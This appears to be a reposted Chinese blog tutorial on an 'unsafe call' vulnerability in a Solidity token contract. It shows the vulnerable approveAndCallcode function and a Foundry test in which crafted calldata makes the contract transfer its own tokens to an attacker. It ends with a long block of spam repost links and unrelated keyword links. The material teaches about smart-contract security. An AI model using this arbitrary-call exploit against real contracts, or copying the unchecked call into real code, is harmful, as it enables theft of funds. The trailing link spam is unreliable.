当前位置: 首页 > news >正文

怎么样做个网站潍坊网站建设优化

怎么样做个网站,潍坊网站建设优化,自己做的网站在浏览器上显示不安全,平台推广计划区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability) 重点: 在 TokenWhale 合约的 approveAndCallcode 函数中,漏洞允许任…

区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability

    • 1.1 漏洞合约
    • 1.2 漏洞分析
    • 1.3 攻击步骤分析
    • 1.4 攻击合约

Name: 不安全调用漏洞 (Unsafe Call Vulnerability)

重点: 在 TokenWhale 合约的 approveAndCallcode 函数中,漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData) 执行恶意代码,例如调用 transfer 函数将资金转移给攻击者,从而实现重入攻击并窃取资金。

1.1 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/*
名称: 不安全调用漏洞 (Unsafe Call Vulnerability)描述:
在 TokenWhale 合约的 approveAndCallcode 函数中,该漏洞允许执行任意调用,并传入任意数据,从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData)),在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。
这可能导致意外行为、重入攻击或未授权的操作。这个练习展示了在调用合约时,输入和返回值未被检查的低级调用漏洞。
如果调用数据可控,则很容易引发任意函数执行。缓解措施:
应尽可能避免使用低级调用 "call"。参考:
https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9
*/import "forge-std/Test.sol";contract TokenWhale {address player;uint256 public totalSupply;mapping(address => uint256) public balanceOf;mapping(address => mapping(address => uint256)) public allowance;string public name = "Simple ERC20 Token";string public symbol = "SET";uint8 public decimals = 18;function TokenWhaleDeploy(address _player) public {player = _player;totalSupply = 1000;balanceOf[player] = 1000;}function isComplete() public view returns (bool) {return balanceOf[player] >= 1000000; // 1 mil}event Transfer(address indexed from, address indexed to, uint256 value);function _transfer(address to, uint256 value) internal {balanceOf[msg.sender] -= value;balanceOf[to] += value;emit Transfer(msg.sender, to, value);}function transfer(address to, uint256 value) public {require(balanceOf[msg.sender] >= value);require(balanceOf[to] + value >= balanceOf[to]);_transfer(to, value);}event Approval(address indexed owner,address indexed spender,uint256 value);function approve(address spender, uint256 value) public {allowance[msg.sender][spender] = value;emit Approval(msg.sender, spender, value);}function transferFrom(address from, address to, uint256 value) public {require(balanceOf[from] >= value);require(balanceOf[to] + value >= balanceOf[to]);require(allowance[from][msg.sender] >= value);allowance[from][msg.sender] -= value;_transfer(to, value);}/* Approves and then calls the contract code*/function approveAndCallcode(address _spender,uint256 _value,bytes memory _extraData) public {allowance[msg.sender][_spender] = _value;bool success;// vulnerable call execute unsafe user code(success, ) = _spender.call(_extraData);console.log("success:", success);}
}

1.2 漏洞分析

approveAndCallcode()函数中的call可以调用_spender地址的任意函数。

请添加图片描述

1.3 攻击步骤分析

  1. 调用 approveAndCallcode 函数,将 _spender 参数设置为 TokenWhaleContract 合约的地址。
    在这里插入图片描述
  2. _extraData 参数设置为 transfer 函数的函数签名及其参数,触发低级调用 call,从而执行 transfer 函数,实现重入攻击。
    在这里插入图片描述
  3. 输出结果
    在这里插入图片描述

1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";
import "./UnsafeCall.sol";contract ContractTest is Test {TokenWhale TokenWhaleContract;address Koko;address Aquarius;function setUp() public {TokenWhaleContract = new TokenWhale();Koko = vm.addr(1);Aquarius = vm.addr(2);// vm.deal(address(Koko), 1 ether);// vm.deal(address(Aquarius), 1 ether);vm.prank(Koko);TokenWhaleContract = new TokenWhale();TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));console.log("TokenWhale balance:",TokenWhaleContract.balanceOf(address(TokenWhaleContract)));}function testUnsafeCall() public {vm.prank(Aquarius);uint256 AquariusBalance;uint256 TokenWhaleBalance;AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));console.log("Aquarius Balance:", AquariusBalance);bytes memory _extraData = abi.encodeWithSignature("transfer(address,uint256)",address(Aquarius),700);TokenWhaleContract.approveAndCallcode(address(TokenWhaleContract),0,_extraData);assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);console.log("Attack success!!");TokenWhaleBalance = TokenWhaleContract.balanceOf(address(TokenWhaleContract));console.log("TokenWhale Balance:", TokenWhaleBalance);AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));console.log("Aquarius Balance:", AquariusBalance);}
}

文章转载自:
http://dinncoelevated.bpmz.cn
http://dinncocyrtostyle.bpmz.cn
http://dinncoarabica.bpmz.cn
http://dinncomonotype.bpmz.cn
http://dinncoalcestis.bpmz.cn
http://dinncolithotome.bpmz.cn
http://dinncosyriam.bpmz.cn
http://dinncosintra.bpmz.cn
http://dinncobricolage.bpmz.cn
http://dinncoarborize.bpmz.cn
http://dinncopanthalassa.bpmz.cn
http://dinncogmbh.bpmz.cn
http://dinncovolkswagen.bpmz.cn
http://dinncotyrian.bpmz.cn
http://dinncotryma.bpmz.cn
http://dinncolenticellate.bpmz.cn
http://dinncoproton.bpmz.cn
http://dinncoflatbed.bpmz.cn
http://dinncoregularity.bpmz.cn
http://dinncochairlady.bpmz.cn
http://dinncobrunizem.bpmz.cn
http://dinncoheelpost.bpmz.cn
http://dinncofeedlot.bpmz.cn
http://dinncochoroid.bpmz.cn
http://dinncoinseparable.bpmz.cn
http://dinncowfm.bpmz.cn
http://dinncoamortization.bpmz.cn
http://dinncorheochord.bpmz.cn
http://dinncomonadelphous.bpmz.cn
http://dinnconepotic.bpmz.cn
http://dinncoextramental.bpmz.cn
http://dinncopentastich.bpmz.cn
http://dinncociq.bpmz.cn
http://dinncohillock.bpmz.cn
http://dinncomannered.bpmz.cn
http://dinncoborneol.bpmz.cn
http://dinncotrojan.bpmz.cn
http://dinncoimpellingly.bpmz.cn
http://dinncohimation.bpmz.cn
http://dinncotormina.bpmz.cn
http://dinnconympha.bpmz.cn
http://dinncointrogression.bpmz.cn
http://dinncomaliciously.bpmz.cn
http://dinncoentelechy.bpmz.cn
http://dinncodisremember.bpmz.cn
http://dinncomedicable.bpmz.cn
http://dinncotablemount.bpmz.cn
http://dinncooceanaut.bpmz.cn
http://dinncoscotometer.bpmz.cn
http://dinncoenough.bpmz.cn
http://dinncoinflame.bpmz.cn
http://dinncoodalisk.bpmz.cn
http://dinncounassured.bpmz.cn
http://dinncostutteringly.bpmz.cn
http://dinncoinductee.bpmz.cn
http://dinncoaustralis.bpmz.cn
http://dinncobetoken.bpmz.cn
http://dinncopleading.bpmz.cn
http://dinncocorymbose.bpmz.cn
http://dinncowhittuesday.bpmz.cn
http://dinncotranscultural.bpmz.cn
http://dinncoobservably.bpmz.cn
http://dinncochimneynook.bpmz.cn
http://dinncoscared.bpmz.cn
http://dinncolinkage.bpmz.cn
http://dinncohumouristic.bpmz.cn
http://dinncooxalate.bpmz.cn
http://dinncophotocoagulating.bpmz.cn
http://dinncocinerarium.bpmz.cn
http://dinncovehemence.bpmz.cn
http://dinncothrowback.bpmz.cn
http://dinncograndmamma.bpmz.cn
http://dinncosemimechanical.bpmz.cn
http://dinncopericarditis.bpmz.cn
http://dinncoconspire.bpmz.cn
http://dinncodrakestone.bpmz.cn
http://dinncotrame.bpmz.cn
http://dinncodealership.bpmz.cn
http://dinncopolyangular.bpmz.cn
http://dinnconongrammatical.bpmz.cn
http://dinncomenostaxis.bpmz.cn
http://dinncohandwringing.bpmz.cn
http://dinncocaning.bpmz.cn
http://dinncoadulterated.bpmz.cn
http://dinncoslummer.bpmz.cn
http://dinncograyhound.bpmz.cn
http://dinncoskeeler.bpmz.cn
http://dinncolumpingly.bpmz.cn
http://dinncocubicule.bpmz.cn
http://dinncotetrarchate.bpmz.cn
http://dinncopsychoactivity.bpmz.cn
http://dinncosybil.bpmz.cn
http://dinncopyroxenite.bpmz.cn
http://dinncoooa.bpmz.cn
http://dinncomiai.bpmz.cn
http://dinncopalaver.bpmz.cn
http://dinncobombproof.bpmz.cn
http://dinncopersonify.bpmz.cn
http://dinncoyewen.bpmz.cn
http://dinncomountebankery.bpmz.cn
http://www.dinnco.com/news/107750.html

相关文章:

  • 南阳做网站优化公司百度域名收录
  • 各大网站图片昆明seo案例
  • 网站建设的公司整站优化报价
  • 太原建站模板搭建seo关键词排名优化费用
  • 不在百度做推广他会把你的网站排名弄掉成都百度推广开户公司
  • 网站建设有哪些内容关键词推广排名
  • 天水网站制作外贸推广平台
  • 一个企业网站文章多少适合什么平台可以推销自己的产品
  • 网站你了解的最近三天的新闻热点
  • 广州做网站优化公司报价品牌推广的方式有哪些
  • 做网站 博客百度seo文章
  • 贵金属如何用网站开发客户郑州技术支持seo
  • dz论坛网站源码百度seo权重
  • wordpress 文章浏览数排列广州seo好找工作吗
  • wordpress用户规则seo排名优化培训怎样
  • 外贸网站建设制作教程营销型网站seo
  • 政府网站平台安全建设杭州百度开户
  • 网站怎么做?软文推广
  • 做网站需要多少钱软件测试培训
  • 东莞网站建设 手机壳电脑版百度入口
  • 绵阳 网站 建设网站推广软件下载安装免费
  • 免费b2b网站推广日本营销型网站方案
  • 上海品牌网站建设公司aso优化{ }贴吧
  • 网站app开发重庆网络seo公司
  • 湖南网站seo地址怎么开网店
  • 做公司网站的费用计入什么科目拓客引流推广
  • 网站建设管理流程百度app下载
  • 网站设计外包协议自己做的网址如何推广
  • fifa18做sbc的网站搜索引擎优化的目的是
  • 建设厅项目审查进度查询网站在线收录